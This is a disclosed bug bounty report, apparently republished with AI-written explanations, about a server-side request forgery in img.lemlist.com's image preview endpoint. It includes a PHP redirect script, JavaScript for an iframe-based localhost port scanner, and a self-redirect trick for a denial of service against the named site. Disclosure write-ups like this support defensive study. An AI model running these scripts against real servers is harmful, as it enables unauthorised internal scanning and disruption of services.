SSRF in img.lemlist.com that leads to Localhost Port Scanning
The image preview endpoint on img.lemlist.com fetched a user-supplied URL through a headless browser, allowing an attacker to make the server request internal addresses. This let the attacker port scan localhost and remote hosts and potentially read data from local HTTP services.
Originally disclosed on HackerOne
- Triaged in 2 days
- Fixed in 2 days
- Disclosed after 4 months
Summary:
A SSRF attack can be performed leading to localhost port scanning. Link : https://img.lemlist.com/api/image-templates/itp_vBBNpQuMsy6FYLQAc/?preview=true&email=email@
Steps To Reproduce:
To perform this port scan you'll need to setup a few files.
First of all you need to change the url in (Attachment on the original report: PoC.html).

That being done you will need to do the same thing in your redirection script
<?php
// PHP permanent URL redirection
header("Location: [YOUR WEBSITE]/PoC.html?i=0", true, 301);
exit();
?>
Now you need to setup a website who will host (Attachment on the original report: PoC.html), (Attachment on the original report: stealer.php) and the redirection.
I suggest to put everything in a single file and run the command :
php -S 0.0.0.0:80
Afterward you need to go to the following link:
https://img.lemlist.com/api/image-templates/itp_vBBNpQuMsy6FYLQAc/?preview=true&email=email@ [YOUR WEBSITE]
PoC
Here is a PoC of the Port Scan beeing performed
Advice
Sometimes this port scan only return one port or none due to headless chrome screenshoting the website before the redirection. I would suggest to try different timeout in the scanChromeLinux() function.
async scanChromeLinux(iframe, a) {
var that = this;
let promise = new Promise(function(resolve, reject){
that.hooks = {oncomplete:function(){
document.body.removeChild(iframe);
resolve();
}};
that.scan = function() {
var port = that.q.shift(), calls = 0, timer;
iframe.src = that.url + ":" + port;
a.href = iframe.src + '#';
that.updateProgress(port);
iframe.hasLoadedOnce = 0;
iframe.onload = function(){
calls++;
if(calls > 1) {
clearTimeout(timer);
that.next();
return;
}
iframe.hasLoadedOnce = 1;
a.click();
};
timer = setTimeout(function(){
if(iframe.hasLoadedOnce) {
that.openPorts.push(port);
}
that.next();
}, 500 ); // <-- CHANGE THAT VALUE
};
that.scan();
});
return promise;
}
##Bonus
You can perform a DOS on the website by making the redirection returning itself:
<?php
// PHP permanent URL redirection
header("Location:https://img.lemlist.com/api/image-templates/itp_vBBNpQuMsy6FYLQAc/?preview=true&email=email@[YOUR WEBSITE]", true, 301);
exit();
?>
Impact
We can Port Scan local and remote servers, directory and bruteforce HTTP services. Besides if the screenshot as enough quality, it would be possible to return sensitives data from local HTTP services running on the machine.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could port scan local and remote servers and brute force HTTP services, and if the screenshot quality is high enough, could return sensitive data from local HTTP services.
What the attacker needed
Attacker-controlled website; ability to host a redirect script
How it was found
- Host a page and a redirect script on your own website.
- Point the preview endpoint's email parameter at your website.
- Start a local PHP server to serve the files.
- Request the preview URL with your website appended.
- Observe the port scan results produced by the preview.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The site had a feature that took a link and rendered a picture of it. The server, not the visitor's browser, did the fetching, so an attacker could point it at internal addresses the public cannot reach. That is called server-side request forgery: tricking a server into making requests on your behalf.
What is SSRF?
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.